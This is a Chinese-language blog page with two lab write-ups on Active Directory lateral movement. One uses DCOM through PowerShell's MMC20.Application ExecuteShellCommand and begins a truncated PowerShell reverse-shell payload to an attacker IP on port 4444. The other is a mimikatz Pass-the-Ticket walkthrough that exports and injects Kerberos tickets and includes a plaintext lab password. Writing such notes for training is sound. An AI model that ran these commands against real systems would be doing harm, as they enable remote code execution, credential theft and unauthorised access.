發表文章

目前顯示的是有「ptt」標籤的文章

Active Directory 中的橫向移動 - DCOM

圖片
 Active Directory 中的橫向移動 - DCOM 與 DCOM 的互動透過 TCP 連接埠 135 上的 RPC 執行,並且需要本機管理員存取權限才能呼叫 DCOM 服務控制管理員 接著將透過 FILES04(73) 的目標 IP 指定為 GetTypeFromProgID 方法的第二個參數來實例化遠端 MMC 2.0 應用程式,並將應用程式物件儲存到變數 $dcom 如下 $dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1"," 192.168.200.73 ")) 接著在遠端 DCOM 上執行命令 $dcom.Document.ActiveView.ExecuteShellCommand(" cmd ",$null," /c calc ","7") 一旦執行了上述兩行指令就應該產生一個計算器(小算盤)應用程式的實例 透過指令 tasklist | findstr "calc" 如下,會發現它位於會話 0 內 RDP 登入到 files04(73) 確認如下,可以看到有三個(因為我們執行了 3 次) 目的只是驗證剛剛的指令是有用的 透過我們在 WMI and WinRM 章節學到的,接下來讓我們直接將 Reverse Shell 的指令塞入剛剛的 DCOM 指令中,將 command 換成 Reverse Shell 指令 kali IP : 192.168.45.191 import sys import base64 payload = '$client = New-Object System.Net.Sockets.TCPClient(" 192.168.45.191 ", 4444 );$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -...

Active Directory 中的橫向移動 - PtT

圖片
 Active Directory 中的橫向移動 - PtT Pass the Ticket 使用 CORP\jen / Nexus123! RDP 登入到 Client76 └─$ xfreerdp /u:jen /p:'Nexus123!' /d:corp.com /v:192.168.191.76 直接存取 web04 上的 backup 資料夾看看 ls \\web04\backup 直接顯示 Access is denied 啟動 mimikatz 然後開啟 debug mode : privilege::debug 接著輸入 sekurlsa::tickets /export 從記憶體中匯出所有 TGT/TGS 可以看到 dave 的 Session Key 退出 mimikatz 執行 dir *.kirbi 這是因為 sekurlsa::tickets /export 顯示出來的結果是解析記憶體中的 LSASS 進程空間以查找任何 TGT/TGS,然後以 kirbi mimikatz 格式儲存到磁碟,所以我們直接列出所有的 *.kirbi 如下 因為我們的目標是 web04 所以將相關的 *.kirbi 專注在有 web04 的地方 可以看到是 dave @ web04,其中一筆是 [0;163e20]-0-0-40810000-dave@cifs-web04.kirbi 透過 mimikatz 的 ptt 方式執行 kerberos::ptt [0;163e20]-0-0-40810000-dave@cifs-web04.kirbi 再 klist 看一下,可以看到網域中 dave 的憑證了 針對的伺服器是 cifs/web04@corp.com 再執行 ls \\web04\backup 這一次沒有 Access is denied 了,直接列出相關的資源供查看 練習 : 與上面一樣,最後拿那個分享資料夾的 flag.txt 直接將 ls 改 type 即可讀取